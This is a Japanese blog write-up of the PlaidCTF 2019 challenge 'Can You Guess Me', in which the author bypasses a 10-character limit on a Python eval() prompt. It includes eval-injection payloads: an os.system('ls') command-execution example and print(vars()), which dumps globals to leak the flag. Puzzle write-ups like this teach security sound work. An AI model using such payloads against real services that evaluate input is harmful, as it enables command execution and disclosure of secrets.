PlaidCTF2019 Writeup
こんにちは。Repsterです。
PlaidCTF 2019をやりましたが、高校同期が泊まりに来たりしたのであまり時間を掛けられなかったので1問しか解けませんでした。
Can You Guess Me
問題としては数字当てゲームという名目なんだけど、だからといって総当たりするのはさすがにヤバそう…
配布されていたコードは以下。
#! /usr/bin/env python3 from sys import exit from secret import secret_value_for_password, flag, exec try: val = 0 inp = input("Input value: ") count_digits = len(set(inp)) if count_digits <= 10: # Make sure it is a number val = eval(inp) else: raise if val == secret_value_for_password: print(flag) else: print("Nope. Better luck next time.") except: print("Nope. No hacking.") exit(1)
コードはsecretがないので動かないけれども、やろうとしていることを書くと
- 入力を受け取り
- 使われている文字種が10種類以下であり
- その値が
secret_value_for_password
なら - フラグを表示
というものである。
うーん、このevalってなに?(検索)(CTFはGoogle力)
あー、eval('1 + 2')
ってやると3が返ってくるのか~~~
んー。適当に検索ワードにCTFって付けてみるか…
………!eval(__import__('os').system('ls'))
とかやるとlsが実行できるのか……これは穏やかじゃない。
じゃあなんかいい感じにsecret読めるようにできないかな?
……と思ったけど、これ__import__('os').
の時点で12種使ってない?無理やんこんなん。
あ、print(flag)
でええのか。あ、これも11種やん。
お!from secret import exec
ってあるやんけ!使お!
……exec()
と!(カチャカチャッターン)
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@@@@@ %@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@@ @@@@@@@@@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@ @@@@@@@@@@% @@@@@@@@ @@@, @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@ @@@@@@@ @@@ @@ @@@@@@@@@@@ @@@@@@@@@@% (@@@@@@@ (@@@@@@@@ (@@@@@@@ @@@@@@@@ @@@@@@@@@@@@*@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ @@@@@@@ @@@@@* @@@@@@@@@@@@@@@ @@ @@@@@@@@@@@&@@# @@@@@@@@@@ @@@@@ @@@ ,@@&(%@@@@@ @@@ @@@@ @@@@@@@@@ @ .@@@ @@@ @& @@@@@@ @@@@@@@@@@@@@ @@@@@ @@@@@@@, #@@@@@@@@@@@@@@@@@@ @@ @@ @.@@@ @@@@@@ @@@@# @@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@ %@@&@ @ @ @@ @@ @@@@@ @@@@@@@%,(@@@@@@@@@@@@@@@@@@@@@@@@. @@@@@@@ .@@@@ @ @@@ @ @@ @@ @@@@@ @@@@@@@@@@@@@@@@ @@ @@@@@@@@@@@ @@@@@@@@@@@( @@@@@@@@@ @ @@ @@ @ @@@@ (@@@@@(@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@ @@@ @@ @@ @@@@* @@@@@ @@@@@@ @@@@@@@ @@ @@@@@@@ @ @@@ @@@@ @@@@ @ @@@ @ @@ @@@@@@@ @@@@ @@@@@ @@@@@@@@@@@@ @@@@@@@@@@ @@@@ @@@@ @@ ,@@@@@@@@@ @ @@@@@@@@ @@@@@@@@@@@@@@ @ @@@@ @@@@ @@@@ @@@@@@@@@ @@@ @@@@ @@@@@@@@ @@ @@@ @ @@@@ @@@@@ @@@@@@ @@@@@@@@@@ @@ @@ @@@@@@@@ @@@@@, @@@@@@ @@ @@@@ @@@@@ @@@@@@@ @@@@@@@@@@ @@@@@@@@ @@@@ @@@@@ @@@@@@@@ @@@@@@@@@@@( @@@@@@@@ @@@@@ @@@& @@@@@ @@@@@@@@@/ @@@@@@@@@@@@ @@@@ @@@@@@@@@ @@@@, & @@@@@ @@@@@ @@@@@@@@@@@ @@@@@@@@@@@@@ @@@@@@@@@@ @@@@@@% @@@@ @@* ,@ @@@@@@ @@@@@ @@@@@@@@@@@@@ @@@ @@@@ @@@@@@ @@@@ @@@@@@ @@@ ,@@ @@@@@@@@ @@@@@ @@@@@@@@@@@@@@@@ %@@@ @@@@ @@@@@@@@@@ .@@@@@@@@@@@@@@ @@@@@ @@@@@@@@@@@@@@@@@@@ @@@@ *@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@ @@@@@@@@@@@@@@@@@@@@@@@ .@@@@@ %@@@@ /@@@@@@@@@@@@@@@@@@@ @@@@@@.@@@@ @@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@/ @@@@@@@@@@@@@@@@@@@@@. @@@@@@ @@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
は?泣かす。絶対許さんぞ。(最近煽りCTFが多くてつらい)
えーimportも使えないしすでにimportされてるのもつかえなさそうやしどうしよう……
……組み込み関数かな?(検索)(CTFはGoogle力)
使えそうなのは……
dir()
か?print(dir())
!違うな……
vars()
か?print(vars())
!お!
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f58be0909e8>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/guessme/can-you-guess-me.py', '__cached__': None, 'exit': <built-in function exit>, 'secret_value_for_password': 'not even a number; this is a damn string; and it has all 26 characters of the alphabet; abcdefghijklmnopqrstuvwxyz; lol', 'flag': 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}', 'exec': <function exec at 0x7f58bdfd9158>, 'val': 0, 'inp': 'print(vars())', 'count_digits': 10}
'flag': 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}'
勝ち申した。
ちなみに
'secret_value_for_password': 'not even a number; this is a damn string; and it has all 26 characters of the alphabet; abcdefghijklmnopqrstuvwxyz; lol'
は?
ところで、64bit環境でもgcc-multilibとg++-multilibを入れれば32bitELFが動くことを初めて知りました。